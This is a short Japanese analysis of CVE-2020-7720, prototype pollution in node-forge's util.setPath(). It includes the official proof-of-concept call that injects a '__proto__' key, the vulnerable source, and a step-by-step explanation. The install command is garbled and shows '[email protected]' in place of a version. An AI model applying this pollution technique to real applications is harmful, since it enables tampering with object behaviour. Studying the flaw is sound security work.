CVE-2020-7720脆弱性分析
1.はじめに
バージョン0.10.0より前のnodejsのソフトウェアパッケージであるNode-forgeには、プロトタイプチェーン汚染の脆弱性があるutil.setPath()関数があります。攻撃者は、対応するパラメーターを作成することにより、アプリケーションに対してプロトタイプ汚染攻撃を実行できます。
公式POCは次のとおりです。
const nodeforge = require('node-forge');
var obj = {};
nodeforge.util.setPath(obj, ['__proto__', 'polluted'], true);
console.log(polluted);
2.脆弱性の再発と分析
1.環境構築
0.10.0未満のノードフォージコンポーネントをダウンロードする
npm i [email protected]
2.ソースコード分析
POCによると、setPath関数を直接見つけます。この関数のソースコードは比較的単純です(次のように):
util.setPath = function(object, keys, value) {
// need to start at an object
if(typeof(object) === 'object' && object !== null) {
var i = 0;
var len = keys.length;
while(i < len) {
var next = keys[i++];
if(i == len) {
// last
object[next] = value;
} else {
// more
var hasNext = (next in object);
if(!hasNext ||
(hasNext && typeof(object[next]) !== 'object') ||
(hasNext && object[next] === null)) {
object[next] = {};
}
object = object[next];
}
}
}
};
キーはこのような配列であることがわかっています
['__proto__','pollute']
whileループの最初のステップは、次のとおりです。
object = object[__proto__]
その後:
object[pollute] = true
これにより、プロトタイプチェーンが汚染され、その組み合わせは次のようになります。
object['__proto__']['pollute'] = true
3.脆弱性の検証
console.log(pollute)